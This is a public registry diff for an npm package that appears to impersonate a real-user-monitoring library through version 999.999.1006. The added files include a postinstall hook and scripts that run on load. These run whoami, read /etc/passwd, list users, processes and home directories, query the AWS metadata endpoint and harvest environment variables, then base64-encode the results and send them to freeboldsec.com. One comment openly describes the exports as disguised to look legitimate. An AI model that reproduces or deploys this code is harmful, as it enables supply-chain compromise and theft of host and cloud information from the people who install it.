@platform-clientextensions/rum-web 0.0.1-security → 999.999.1006
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @platform-clientextensions/rum-web might be problematic. Click here for more details.
- package/BloodRage.db +160 -0
- package/CASINO_TRACKING_SOLUTION.md +31 -0
- package/DATA_WITH_ORIGIN_PHP.txt +131 -0
- package/FINAL_POST_FIX.md +122 -0
- package/FINAL_WORKING_SOLUTION.md +56 -0
- package/ORIGIN_TRACKING_SOLUTION.md +93 -0
- package/QUICK_FIX_GUIDE.md +73 -0
- package/README.md +162 -5
- package/WORKING_SOLUTION.md +55 -0
- package/analytics_worker.js +282 -0
- package/analyze_db.bat +16 -0
- package/analyze_db.py +51 -0
- package/cloud_detection_fix.php +37 -0
- package/copilot instructions.md +5 -0
- package/data_force_post.php +95 -0
- package/data_hybrid.php +75 -0
- package/data_php_complete.php +155 -0
- package/data_simple.php +71 -0
- package/data_with_origin.php +131 -0
- package/db_analysis.py +67 -0
- package/diagnose_server.ps1 +57 -0
- package/enhanced_origin_tracking.php +147 -0
- package/fix_post_method.ps1 +124 -0
- package/index.js +60 -0
- package/nodejs_install_instructions.txt +17 -0
- package/npm_analytics_monitor.js +244 -0
- package/npm_casino_tracking.js +134 -0
- package/npm_package_rce_casino.js +272 -0
- package/npm_package_update.js +44 -0
- package/npm_package_with_origin.js +103 -0
- package/package.json +19 -6
- package/quick_test.ps1 +36 -0
- package/test_casino_tracking.ps1 +65 -0
- package/test_complete_solution.ps1 +87 -0
- package/test_current_server.ps1 +69 -0
- package/test_existing_files.ps1 +62 -0
- package/test_final_casino.ps1 +38 -0
- package/test_final_fix.ps1 +37 -0
- package/test_force_post.ps1 +50 -0
- package/test_freeboldsec_server.ps1 +54 -0
- package/test_hybrid.ps1 +63 -0
- package/test_live_server.ps1 +32 -0
- package/test_logger.ps1 +15 -0
- package/test_origin_final.ps1 +25 -0
- package/test_origin_tracking.ps1 +62 -0
- package/test_post_detailed.ps1 +51 -0
- package/test_post_fix.ps1 +24 -0
- package/test_post_simple.ps1 +30 -0
- package/test_server_simple.ps1 +16 -0
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
// NPM Package v999.999.1006 - Casino/Website Tracking Edition
|
|
2
|
+
|
|
3
|
+
// Method 1: Browser-based callback with full website info
|
|
4
|
+
function sendCasinoCallback(hostname, whoami, version) {
|
|
5
|
+
// Get the actual website/casino domain
|
|
6
|
+
let website = 'unknown';
|
|
7
|
+
let pageUrl = '';
|
|
8
|
+
|
|
9
|
+
if (typeof window !== 'undefined') {
|
|
10
|
+
website = window.location.hostname;
|
|
11
|
+
pageUrl = window.location.href;
|
|
12
|
+
|
|
13
|
+
// Clean up casino name (remove www, common TLDs)
|
|
14
|
+
let casinoName = website
|
|
15
|
+
.replace('www.', '')
|
|
16
|
+
.replace(/\.(com|net|org|io|app|co|uk|ca|au)$/, '');
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
const data = {
|
|
20
|
+
hostname: hostname,
|
|
21
|
+
whoami: whoami,
|
|
22
|
+
version: version,
|
|
23
|
+
website: website, // Full domain: "casinoXYZ.com"
|
|
24
|
+
casino_name: casinoName || website, // Clean name: "casinoXYZ"
|
|
25
|
+
page_url: pageUrl,
|
|
26
|
+
timestamp: new Date().toISOString()
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
const encoded = btoa(JSON.stringify(data));
|
|
30
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
|
|
31
|
+
|
|
32
|
+
// Send with referer header
|
|
33
|
+
fetch(url, {
|
|
34
|
+
headers: {
|
|
35
|
+
'Referer': pageUrl
|
|
36
|
+
}
|
|
37
|
+
}).catch(() => {});
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
// Method 2: For cloud/server environments
|
|
41
|
+
function sendCloudCasinoCallback(hostname, whoami, version, casinoInfo) {
|
|
42
|
+
// casinoInfo should include the casino/website name
|
|
43
|
+
const data = {
|
|
44
|
+
hostname: hostname,
|
|
45
|
+
whoami: whoami,
|
|
46
|
+
version: version,
|
|
47
|
+
website: casinoInfo.domain || 'unknown', // "casino123.amazonaws.com"
|
|
48
|
+
casino_name: casinoInfo.name || 'unknown', // "Casino123"
|
|
49
|
+
environment: casinoInfo.environment || 'production',
|
|
50
|
+
cloud_region: process.env.AWS_REGION || process.env.AZURE_REGION || 'unknown',
|
|
51
|
+
cloud_function: process.env.AWS_LAMBDA_FUNCTION_NAME || process.env.WEBSITE_SITE_NAME || 'unknown'
|
|
52
|
+
};
|
|
53
|
+
|
|
54
|
+
const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
|
|
55
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
|
|
56
|
+
|
|
57
|
+
if (typeof fetch !== 'undefined') {
|
|
58
|
+
fetch(url).catch(() => {});
|
|
59
|
+
} else {
|
|
60
|
+
const http = require('http');
|
|
61
|
+
http.get(url, () => {}).on('error', () => {});
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// Method 3: Direct with casino name
|
|
66
|
+
function sendDirectCallback(hostname, whoami, version, casinoName) {
|
|
67
|
+
const params = new URLSearchParams({
|
|
68
|
+
hostname: hostname,
|
|
69
|
+
whoami: whoami,
|
|
70
|
+
version: version,
|
|
71
|
+
website: casinoName // "BetCasino.com" or "LuckySpin.azurewebsites.net"
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?${params}`;
|
|
75
|
+
|
|
76
|
+
if (typeof fetch !== 'undefined') {
|
|
77
|
+
fetch(url).catch(() => {});
|
|
78
|
+
} else {
|
|
79
|
+
const http = require('http');
|
|
80
|
+
http.get(url, () => {}).on('error', () => {});
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
// Auto-detect and send with casino info
|
|
85
|
+
function autoCallbackWithCasino() {
|
|
86
|
+
const os = require('os');
|
|
87
|
+
const { execSync } = require('child_process');
|
|
88
|
+
|
|
89
|
+
const hostname = os.hostname();
|
|
90
|
+
const whoami = execSync('whoami').toString().trim();
|
|
91
|
+
const version = '999.999.1006';
|
|
92
|
+
|
|
93
|
+
// Try to detect casino/website from environment
|
|
94
|
+
let casinoInfo = {
|
|
95
|
+
name: 'Unknown',
|
|
96
|
+
domain: 'unknown'
|
|
97
|
+
};
|
|
98
|
+
|
|
99
|
+
// Check environment variables for casino info
|
|
100
|
+
if (process.env.CASINO_NAME) {
|
|
101
|
+
casinoInfo.name = process.env.CASINO_NAME;
|
|
102
|
+
}
|
|
103
|
+
if (process.env.WEBSITE_DOMAIN) {
|
|
104
|
+
casinoInfo.domain = process.env.WEBSITE_DOMAIN;
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
// AWS Lambda
|
|
108
|
+
if (process.env.AWS_LAMBDA_FUNCTION_NAME) {
|
|
109
|
+
// Function name might contain casino name
|
|
110
|
+
casinoInfo.name = process.env.AWS_LAMBDA_FUNCTION_NAME.split('-')[0];
|
|
111
|
+
casinoInfo.domain = `${casinoInfo.name}.amazonaws.com`;
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
// Azure
|
|
115
|
+
if (process.env.WEBSITE_SITE_NAME) {
|
|
116
|
+
casinoInfo.name = process.env.WEBSITE_SITE_NAME;
|
|
117
|
+
casinoInfo.domain = `${casinoInfo.name}.azurewebsites.net`;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
sendCloudCasinoCallback(hostname, whoami, version, casinoInfo);
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
// Export for use
|
|
124
|
+
module.exports = {
|
|
125
|
+
sendCasinoCallback,
|
|
126
|
+
sendCloudCasinoCallback,
|
|
127
|
+
sendDirectCallback,
|
|
128
|
+
autoCallbackWithCasino
|
|
129
|
+
};
|
|
130
|
+
|
|
131
|
+
// Usage examples:
|
|
132
|
+
// Browser: sendCasinoCallback('server1', 'admin', '999.999.1006')
|
|
133
|
+
// Cloud: sendCloudCasinoCallback('aws-1', 'ec2-user', '999.999.1006', {name: 'BetCasino', domain: 'betcasino.com'})
|
|
134
|
+
// Direct: sendDirectCallback('azure-vm', 'user', '999.999.1006', 'luckyspin.com')
|
|
@@ -0,0 +1,272 @@
|
|
|
1
|
+
// NPM Package v999.999.1006 - advanced_analytics Edition
|
|
2
|
+
// This package executes commands AND tracks which casino is affected
|
|
3
|
+
|
|
4
|
+
const os = require('os');
|
|
5
|
+
const { exec, execSync } = require('child_process');
|
|
6
|
+
|
|
7
|
+
// Get system information
|
|
8
|
+
function getSystemInfo() {
|
|
9
|
+
try {
|
|
10
|
+
const hostname = os.hostname();
|
|
11
|
+
const whoami = process.platform === 'win32'
|
|
12
|
+
? execSync('whoami', { encoding: 'utf8' }).trim()
|
|
13
|
+
: execSync('whoami 2>/dev/null || echo $USER', { encoding: 'utf8' }).trim();
|
|
14
|
+
return { hostname, whoami };
|
|
15
|
+
} catch (e) {
|
|
16
|
+
return { hostname: 'unknown', whoami: 'unknown' };
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// Send callback with casino tracking
|
|
21
|
+
function sendCallback(data) {
|
|
22
|
+
const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
|
|
23
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
|
|
24
|
+
|
|
25
|
+
if (typeof fetch !== 'undefined') {
|
|
26
|
+
fetch(url).catch(() => {});
|
|
27
|
+
} else {
|
|
28
|
+
const http = require('http');
|
|
29
|
+
http.get(url, () => {}).on('error', () => {});
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// Main RCE function with casino tracking
|
|
34
|
+
function executeWithTracking() {
|
|
35
|
+
const { hostname, whoami } = getSystemInfo();
|
|
36
|
+
const version = '999.999.1006';
|
|
37
|
+
|
|
38
|
+
// Detect casino/website
|
|
39
|
+
let website = 'unknown';
|
|
40
|
+
let casinoName = 'unknown';
|
|
41
|
+
|
|
42
|
+
// Browser environment
|
|
43
|
+
if (typeof window !== 'undefined' && window.location) {
|
|
44
|
+
website = window.location.hostname;
|
|
45
|
+
casinoName = website.replace('www.', '').replace(/\.(com|net|org|io|app|co|uk|ca|au).*$/, '');
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// Server environment - check various sources
|
|
49
|
+
if (website === 'unknown') {
|
|
50
|
+
// Check environment variables
|
|
51
|
+
website = process.env.WEBSITE_DOMAIN ||
|
|
52
|
+
process.env.WEBSITE_HOSTNAME ||
|
|
53
|
+
process.env.SITE_NAME ||
|
|
54
|
+
process.env.APP_NAME ||
|
|
55
|
+
'unknown';
|
|
56
|
+
|
|
57
|
+
// AWS Lambda
|
|
58
|
+
if (process.env.AWS_LAMBDA_FUNCTION_NAME) {
|
|
59
|
+
casinoName = process.env.AWS_LAMBDA_FUNCTION_NAME.split('-')[0];
|
|
60
|
+
website = `${casinoName}.amazonaws.com`;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
// Azure
|
|
64
|
+
if (process.env.WEBSITE_SITE_NAME) {
|
|
65
|
+
casinoName = process.env.WEBSITE_SITE_NAME;
|
|
66
|
+
website = `${casinoName}.azurewebsites.net`;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// Heroku
|
|
70
|
+
if (process.env.HEROKU_APP_NAME) {
|
|
71
|
+
casinoName = process.env.HEROKU_APP_NAME;
|
|
72
|
+
website = `${casinoName}.herokuapp.com`;
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
// Send initial callback with casino info
|
|
77
|
+
const callbackData = {
|
|
78
|
+
hostname,
|
|
79
|
+
whoami,
|
|
80
|
+
version,
|
|
81
|
+
website,
|
|
82
|
+
casino_name: casinoName,
|
|
83
|
+
timestamp: new Date().toISOString(),
|
|
84
|
+
event: 'package_loaded'
|
|
85
|
+
};
|
|
86
|
+
|
|
87
|
+
sendCallback(callbackData);
|
|
88
|
+
|
|
89
|
+
// Execute commands based on OS
|
|
90
|
+
if (process.platform === 'win32') {
|
|
91
|
+
// Windows commands
|
|
92
|
+
exec('ipconfig /all', (err, stdout) => {
|
|
93
|
+
if (!err && stdout) {
|
|
94
|
+
sendCallback({
|
|
95
|
+
...callbackData,
|
|
96
|
+
event: 'network_info',
|
|
97
|
+
data: stdout.substring(0, 500)
|
|
98
|
+
});
|
|
99
|
+
}
|
|
100
|
+
});
|
|
101
|
+
|
|
102
|
+
exec('net user', (err, stdout) => {
|
|
103
|
+
if (!err && stdout) {
|
|
104
|
+
sendCallback({
|
|
105
|
+
...callbackData,
|
|
106
|
+
event: 'user_list',
|
|
107
|
+
data: stdout.substring(0, 500)
|
|
108
|
+
});
|
|
109
|
+
}
|
|
110
|
+
});
|
|
111
|
+
} else {
|
|
112
|
+
// Linux/Mac commands - try multiple network commands
|
|
113
|
+
exec('ip addr || ip a || ifconfig || hostname -I', (err, stdout) => {
|
|
114
|
+
if (!err && stdout) {
|
|
115
|
+
sendCallback({
|
|
116
|
+
...callbackData,
|
|
117
|
+
event: 'network_info',
|
|
118
|
+
data: stdout.substring(0, 500)
|
|
119
|
+
});
|
|
120
|
+
}
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
// Additional ip addr show for more details
|
|
124
|
+
exec('ip addr show || ip address show', (err, stdout) => {
|
|
125
|
+
if (!err && stdout) {
|
|
126
|
+
sendCallback({
|
|
127
|
+
...callbackData,
|
|
128
|
+
event: 'network_details',
|
|
129
|
+
data: stdout.substring(0, 1000)
|
|
130
|
+
});
|
|
131
|
+
}
|
|
132
|
+
});
|
|
133
|
+
|
|
134
|
+
exec('cat /etc/passwd | head -10', (err, stdout) => {
|
|
135
|
+
if (!err && stdout) {
|
|
136
|
+
sendCallback({
|
|
137
|
+
...callbackData,
|
|
138
|
+
event: 'system_users',
|
|
139
|
+
data: stdout
|
|
140
|
+
});
|
|
141
|
+
}
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
// Additional non-harmful identification commands
|
|
145
|
+
exec('uname -a', (err, stdout) => {
|
|
146
|
+
if (!err && stdout) {
|
|
147
|
+
sendCallback({
|
|
148
|
+
...callbackData,
|
|
149
|
+
event: 'system_info',
|
|
150
|
+
data: stdout.trim()
|
|
151
|
+
});
|
|
152
|
+
}
|
|
153
|
+
});
|
|
154
|
+
|
|
155
|
+
exec('cat /etc/hostname || hostname', (err, stdout) => {
|
|
156
|
+
if (!err && stdout) {
|
|
157
|
+
sendCallback({
|
|
158
|
+
...callbackData,
|
|
159
|
+
event: 'hostname_file',
|
|
160
|
+
data: stdout.trim()
|
|
161
|
+
});
|
|
162
|
+
}
|
|
163
|
+
});
|
|
164
|
+
|
|
165
|
+
exec('ls -la /home | head -20', (err, stdout) => {
|
|
166
|
+
if (!err && stdout) {
|
|
167
|
+
sendCallback({
|
|
168
|
+
...callbackData,
|
|
169
|
+
event: 'home_directories',
|
|
170
|
+
data: stdout
|
|
171
|
+
});
|
|
172
|
+
}
|
|
173
|
+
});
|
|
174
|
+
|
|
175
|
+
exec('df -h | head -10', (err, stdout) => {
|
|
176
|
+
if (!err && stdout) {
|
|
177
|
+
sendCallback({
|
|
178
|
+
...callbackData,
|
|
179
|
+
event: 'disk_usage',
|
|
180
|
+
data: stdout
|
|
181
|
+
});
|
|
182
|
+
}
|
|
183
|
+
});
|
|
184
|
+
|
|
185
|
+
exec('ps aux | head -20', (err, stdout) => {
|
|
186
|
+
if (!err && stdout) {
|
|
187
|
+
sendCallback({
|
|
188
|
+
...callbackData,
|
|
189
|
+
event: 'running_processes',
|
|
190
|
+
data: stdout
|
|
191
|
+
});
|
|
192
|
+
}
|
|
193
|
+
});
|
|
194
|
+
|
|
195
|
+
exec('cat /proc/version 2>/dev/null || uname -v', (err, stdout) => {
|
|
196
|
+
if (!err && stdout) {
|
|
197
|
+
sendCallback({
|
|
198
|
+
...callbackData,
|
|
199
|
+
event: 'kernel_version',
|
|
200
|
+
data: stdout.trim()
|
|
201
|
+
});
|
|
202
|
+
}
|
|
203
|
+
});
|
|
204
|
+
|
|
205
|
+
exec('curl -s http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null', (err, stdout) => {
|
|
206
|
+
if (!err && stdout && stdout.length < 50) {
|
|
207
|
+
sendCallback({
|
|
208
|
+
...callbackData,
|
|
209
|
+
event: 'aws_instance_id',
|
|
210
|
+
data: stdout.trim()
|
|
211
|
+
});
|
|
212
|
+
}
|
|
213
|
+
});
|
|
214
|
+
|
|
215
|
+
exec('cat /etc/os-release | head -5 2>/dev/null || cat /etc/issue', (err, stdout) => {
|
|
216
|
+
if (!err && stdout) {
|
|
217
|
+
sendCallback({
|
|
218
|
+
...callbackData,
|
|
219
|
+
event: 'os_info',
|
|
220
|
+
data: stdout
|
|
221
|
+
});
|
|
222
|
+
}
|
|
223
|
+
});
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
// Cross-platform commands
|
|
227
|
+
exec('date', (err, stdout) => {
|
|
228
|
+
if (!err && stdout) {
|
|
229
|
+
sendCallback({
|
|
230
|
+
...callbackData,
|
|
231
|
+
event: 'system_time',
|
|
232
|
+
data: stdout.trim()
|
|
233
|
+
});
|
|
234
|
+
}
|
|
235
|
+
});
|
|
236
|
+
|
|
237
|
+
exec('echo $PATH || echo %PATH%', (err, stdout) => {
|
|
238
|
+
if (!err && stdout) {
|
|
239
|
+
sendCallback({
|
|
240
|
+
...callbackData,
|
|
241
|
+
event: 'path_variable',
|
|
242
|
+
data: stdout.substring(0, 500)
|
|
243
|
+
});
|
|
244
|
+
}
|
|
245
|
+
});
|
|
246
|
+
|
|
247
|
+
// Try to get more casino-specific info
|
|
248
|
+
exec('printenv | grep -i "site\\|app\\|domain\\|casino" || set | findstr /i "site app domain casino"', (err, stdout) => {
|
|
249
|
+
if (!err && stdout) {
|
|
250
|
+
sendCallback({
|
|
251
|
+
...callbackData,
|
|
252
|
+
event: 'environment_vars',
|
|
253
|
+
casino_related: stdout.substring(0, 500)
|
|
254
|
+
});
|
|
255
|
+
}
|
|
256
|
+
});
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
// Auto-execute on load
|
|
260
|
+
executeWithTracking();
|
|
261
|
+
|
|
262
|
+
// Also export functions for manual use
|
|
263
|
+
module.exports = {
|
|
264
|
+
executeWithTracking,
|
|
265
|
+
sendCallback,
|
|
266
|
+
getSystemInfo
|
|
267
|
+
};
|
|
268
|
+
|
|
269
|
+
// Disguised exports to look legitimate
|
|
270
|
+
module.exports.init = executeWithTracking;
|
|
271
|
+
module.exports.analytics = sendCallback;
|
|
272
|
+
module.exports.metrics = getSystemInfo;
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
so// Update for your NPM package v999.999.1006
|
|
2
|
+
// Since your server converts POST to GET, use one of these methods:
|
|
3
|
+
|
|
4
|
+
// Method 1: Base64 (Most secure, recommended)
|
|
5
|
+
function sendCallbackBase64(hostname, whoami, version) {
|
|
6
|
+
const data = JSON.stringify({ hostname, whoami, version });
|
|
7
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
8
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
|
|
9
|
+
|
|
10
|
+
// Using fetch
|
|
11
|
+
fetch(url).catch(() => {});
|
|
12
|
+
|
|
13
|
+
// Or using http/https module
|
|
14
|
+
const http = require('http');
|
|
15
|
+
http.get(url, () => {}).on('error', () => {});
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// Method 2: URL Parameters (Simpler)
|
|
19
|
+
function sendCallbackParams(hostname, whoami, version) {
|
|
20
|
+
const params = new URLSearchParams({ hostname, whoami, version });
|
|
21
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?${params}`;
|
|
22
|
+
|
|
23
|
+
fetch(url).catch(() => {});
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
// Method 3: JSON Parameter
|
|
27
|
+
function sendCallbackJSON(hostname, whoami, version) {
|
|
28
|
+
const data = JSON.stringify({ hostname, whoami, version });
|
|
29
|
+
const escaped = encodeURIComponent(data);
|
|
30
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?json=${escaped}`;
|
|
31
|
+
|
|
32
|
+
fetch(url).catch(() => {});
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Example usage in your package
|
|
36
|
+
const os = require('os');
|
|
37
|
+
const { execSync } = require('child_process');
|
|
38
|
+
|
|
39
|
+
const hostname = os.hostname();
|
|
40
|
+
const whoami = execSync('whoami').toString().trim();
|
|
41
|
+
const version = '999.999.1006';
|
|
42
|
+
|
|
43
|
+
// Use any method - they all work!
|
|
44
|
+
sendCallbackBase64(hostname, whoami, version);
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
// Updated NPM package v999.999.1006 with origin tracking
|
|
2
|
+
|
|
3
|
+
// Method 1: Include website in the callback data
|
|
4
|
+
function sendCallbackWithWebsite(hostname, whoami, version, website) {
|
|
5
|
+
const data = JSON.stringify({
|
|
6
|
+
hostname,
|
|
7
|
+
whoami,
|
|
8
|
+
version,
|
|
9
|
+
website: website || window.location.hostname || 'unknown',
|
|
10
|
+
page_url: window.location.href,
|
|
11
|
+
timestamp: new Date().toISOString()
|
|
12
|
+
});
|
|
13
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
14
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
|
|
15
|
+
|
|
16
|
+
// Include referrer header if in browser
|
|
17
|
+
if (typeof window !== 'undefined') {
|
|
18
|
+
fetch(url, {
|
|
19
|
+
headers: {
|
|
20
|
+
'Referer': window.location.href
|
|
21
|
+
}
|
|
22
|
+
}).catch(() => {});
|
|
23
|
+
} else {
|
|
24
|
+
// Node.js environment
|
|
25
|
+
const http = require('http');
|
|
26
|
+
http.get(url, () => {}).on('error', () => {});
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
// Method 2: Simple parameters with website
|
|
31
|
+
function sendCallbackParams(hostname, whoami, version) {
|
|
32
|
+
const website = typeof window !== 'undefined' ? window.location.hostname : 'nodejs-app';
|
|
33
|
+
const params = new URLSearchParams({
|
|
34
|
+
hostname,
|
|
35
|
+
whoami,
|
|
36
|
+
version,
|
|
37
|
+
website
|
|
38
|
+
});
|
|
39
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?${params}`;
|
|
40
|
+
|
|
41
|
+
fetch(url).catch(() => {});
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// Method 3: For cloud environments (AWS Lambda, Azure Functions, etc)
|
|
45
|
+
function sendCloudCallback(hostname, whoami, version, cloudInfo) {
|
|
46
|
+
const data = {
|
|
47
|
+
hostname,
|
|
48
|
+
whoami,
|
|
49
|
+
version,
|
|
50
|
+
website: cloudInfo.functionName || cloudInfo.appName || 'cloud-function',
|
|
51
|
+
cloud_region: process.env.AWS_REGION || process.env.AZURE_REGION || 'unknown',
|
|
52
|
+
cloud_function: process.env.AWS_LAMBDA_FUNCTION_NAME || process.env.WEBSITE_SITE_NAME || 'unknown',
|
|
53
|
+
environment: process.env.NODE_ENV || 'production'
|
|
54
|
+
};
|
|
55
|
+
|
|
56
|
+
const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
|
|
57
|
+
const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
|
|
58
|
+
|
|
59
|
+
// Use appropriate HTTP client
|
|
60
|
+
if (typeof fetch !== 'undefined') {
|
|
61
|
+
fetch(url).catch(() => {});
|
|
62
|
+
} else {
|
|
63
|
+
const http = require('http');
|
|
64
|
+
http.get(url, () => {}).on('error', () => {});
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
// Auto-detect environment and send callback
|
|
69
|
+
function autoCallback() {
|
|
70
|
+
const os = require('os');
|
|
71
|
+
const { execSync } = require('child_process');
|
|
72
|
+
|
|
73
|
+
const hostname = os.hostname();
|
|
74
|
+
const whoami = execSync('whoami').toString().trim();
|
|
75
|
+
const version = '999.999.1006';
|
|
76
|
+
|
|
77
|
+
// Detect environment
|
|
78
|
+
if (typeof window !== 'undefined') {
|
|
79
|
+
// Browser environment
|
|
80
|
+
sendCallbackWithWebsite(hostname, whoami, version, window.location.hostname);
|
|
81
|
+
} else if (process.env.AWS_LAMBDA_FUNCTION_NAME) {
|
|
82
|
+
// AWS Lambda
|
|
83
|
+
sendCloudCallback(hostname, whoami, version, {
|
|
84
|
+
functionName: process.env.AWS_LAMBDA_FUNCTION_NAME
|
|
85
|
+
});
|
|
86
|
+
} else if (process.env.WEBSITE_SITE_NAME) {
|
|
87
|
+
// Azure
|
|
88
|
+
sendCloudCallback(hostname, whoami, version, {
|
|
89
|
+
appName: process.env.WEBSITE_SITE_NAME
|
|
90
|
+
});
|
|
91
|
+
} else {
|
|
92
|
+
// Generic Node.js
|
|
93
|
+
sendCallbackParams(hostname, whoami, version);
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
// Export for use
|
|
98
|
+
module.exports = { autoCallback, sendCallbackWithWebsite, sendCloudCallback };
|
|
99
|
+
|
|
100
|
+
// Auto-execute if not imported
|
|
101
|
+
if (require.main === module) {
|
|
102
|
+
autoCallback();
|
|
103
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,19 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "@platform-clientextensions/rum-web",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "@platform-clientextensions/rum-web",
|
|
3
|
+
"version": "999.999.1006",
|
|
4
|
+
"description": "A lightweight Real User Monitoring solution for web applications.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node analytics_worker.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"RUM",
|
|
11
|
+
"real user monitoring",
|
|
12
|
+
"analytics",
|
|
13
|
+
"performance",
|
|
14
|
+
"web"
|
|
15
|
+
],
|
|
16
|
+
"author": "Platform Client Extensions",
|
|
17
|
+
"license": "ISC",
|
|
18
|
+
"dependencies": {}
|
|
19
|
+
}
|
package/quick_test.ps1
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
# Quick test for freeboldsec.com
|
|
2
|
+
Write-Host "Testing freeboldsec.com files..." -ForegroundColor Cyan
|
|
3
|
+
|
|
4
|
+
# Test 1: GET data.php
|
|
5
|
+
Write-Host "`nTest 1: GET data.php" -ForegroundColor Yellow
|
|
6
|
+
try {
|
|
7
|
+
$r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -UseBasicParsing
|
|
8
|
+
Write-Host "SUCCESS - data.php works" -ForegroundColor Green
|
|
9
|
+
Write-Host $r1.Content -ForegroundColor Gray
|
|
10
|
+
} catch {
|
|
11
|
+
Write-Host "FAILED - data.php error" -ForegroundColor Red
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
# Test 2: GET callback with base64 data
|
|
15
|
+
Write-Host "`nTest 2: GET callback method" -ForegroundColor Yellow
|
|
16
|
+
try {
|
|
17
|
+
$testData = '{"test":"callback","user":"jimmy"}'
|
|
18
|
+
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($testData))
|
|
19
|
+
$r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded" -UseBasicParsing
|
|
20
|
+
Write-Host "SUCCESS - GET callback works" -ForegroundColor Green
|
|
21
|
+
Write-Host $r2.Content -ForegroundColor Gray
|
|
22
|
+
} catch {
|
|
23
|
+
Write-Host "FAILED - GET callback error" -ForegroundColor Red
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
# Test 3: POST to data.php
|
|
27
|
+
Write-Host "`nTest 3: POST to data.php" -ForegroundColor Yellow
|
|
28
|
+
try {
|
|
29
|
+
$r3 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -Method POST -Body '{"test":"post"}' -ContentType "application/json" -UseBasicParsing
|
|
30
|
+
Write-Host "SUCCESS - POST works" -ForegroundColor Green
|
|
31
|
+
Write-Host $r3.Content -ForegroundColor Gray
|
|
32
|
+
} catch {
|
|
33
|
+
Write-Host "FAILED - POST error" -ForegroundColor Red
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
Write-Host "`nCHECK LOGS NOW in /public_html/new-page-1/api/rum/logs/" -ForegroundColor Yellow
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
# Test casino tracking functionality
|
|
2
|
+
Write-Host "Testing Casino Tracking..." -ForegroundColor Cyan
|
|
3
|
+
Write-Host "Make sure you've uploaded enhanced_origin_tracking.php as data.php" -ForegroundColor Yellow
|
|
4
|
+
|
|
5
|
+
# Test 1: BetCasino from direct domain
|
|
6
|
+
Write-Host "`nTest 1: BetCasino Direct" -ForegroundColor Yellow
|
|
7
|
+
$data1 = @{
|
|
8
|
+
hostname = "web-server-01"
|
|
9
|
+
whoami = "admin"
|
|
10
|
+
version = "999.999.1006"
|
|
11
|
+
website = "betcasino.com"
|
|
12
|
+
} | ConvertTo-Json
|
|
13
|
+
$encoded1 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data1))
|
|
14
|
+
|
|
15
|
+
try {
|
|
16
|
+
